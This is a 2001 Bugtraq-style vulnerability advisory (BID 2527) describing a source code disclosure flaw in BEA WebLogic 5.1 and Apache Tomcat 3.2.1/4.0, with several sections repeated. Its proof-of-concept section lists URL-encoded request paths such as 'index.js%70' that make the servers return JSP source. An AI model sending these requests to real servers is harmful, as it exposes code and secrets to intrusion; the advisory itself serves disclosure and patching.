Multiple Vendor URL JSP Request Source Code Disclosure Vulnerability
BID:2527
Info
Multiple Vendor URL JSP Request Source Code Disclosure Vulnerability
| Bugtraq ID: | 2527 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 28 2001 12:00AM |
| Updated: | Mar 28 2001 12:00AM |
| Credit: | Discovered and posted to Bugtraq by Sverre H. Huseby <[email protected]> on March 28, 2001. |
| Vulnerable: |
BEA Systems Weblogic Server 5.1 Apache Tomcat 4.0 Apache Tomcat 3.2.1 |
| Not Vulnerable: | |
Discussion
Multiple Vendor URL JSP Request Source Code Disclosure Vulnerability
BEA Systems WebLogic Server is an enterprise level web and wireless application server.
Tomcat can be used together with the Apache web server or a stand alone server for Java Servlets and Java Pages. Tomcat ships with a built in web server.
Tomcat and WebLogic's inbuilt webserver will return the source code of JSP files when an HTTP request contains URL encoded replacements for characters in the filename.
If successfully exploited this vulnerability could lead to the disclosure of sensitive information contained within JSP pages. This information may assist in further attacks against the host.
BEA Systems WebLogic Server is an enterprise level web and wireless application server.
Tomcat can be used together with the Apache web server or a stand alone server for Java Servlets and Java Pages. Tomcat ships with a built in web server.
Tomcat and WebLogic's inbuilt webserver will return the source code of JSP files when an HTTP request contains URL encoded replacements for characters in the filename.
If successfully exploited this vulnerability could lead to the disclosure of sensitive information contained within JSP pages. This information may assist in further attacks against the host.
Exploit / POC
Multiple Vendor URL JSP Request Source Code Disclosure Vulnerability
The following example has been provided by Sverre H. Huseby <[email protected]>:
WebLogic:
http://www.example.com/index.js%70
Tomcat:
http://www.example.com/examples/jsp/num/numguess.js%70
The following variant URL for Tomcat has been provided by lovehacker <[email protected]>:
http://www.example.com/examples/snp/snoop%252ejsp
The following example has been provided by Sverre H. Huseby <[email protected]>:
WebLogic:
http://www.example.com/index.js%70
Tomcat:
http://www.example.com/examples/jsp/num/numguess.js%70
The following variant URL for Tomcat has been provided by lovehacker <[email protected]>:
http://www.example.com/examples/snp/snoop%252ejsp
Solution / Fix
Multiple Vendor URL JSP Request Source Code Disclosure Vulnerability
Solution:
It has been reported that Tomcat 4.0 beta 3 has addressed this issue and is available from:
http://jakarta.apache.org/builds/jakarta-tomcat-4.0/release/v4.0-b3/
Additional patches are also available.
Apache Tomcat 3.2.1
Solution:
It has been reported that Tomcat 4.0 beta 3 has addressed this issue and is available from:
http://jakarta.apache.org/builds/jakarta-tomcat-4.0/release/v4.0-b3/
Additional patches are also available.
Apache Tomcat 3.2.1
-
HP HPTL_00010
http://itrc.hp.com
References
Multiple Vendor URL JSP Request Source Code Disclosure Vulnerability
References:
References:
- Tomcat Homepage (Apache Software Foundation)
- WebLogic Server Product Homepage (Oracle)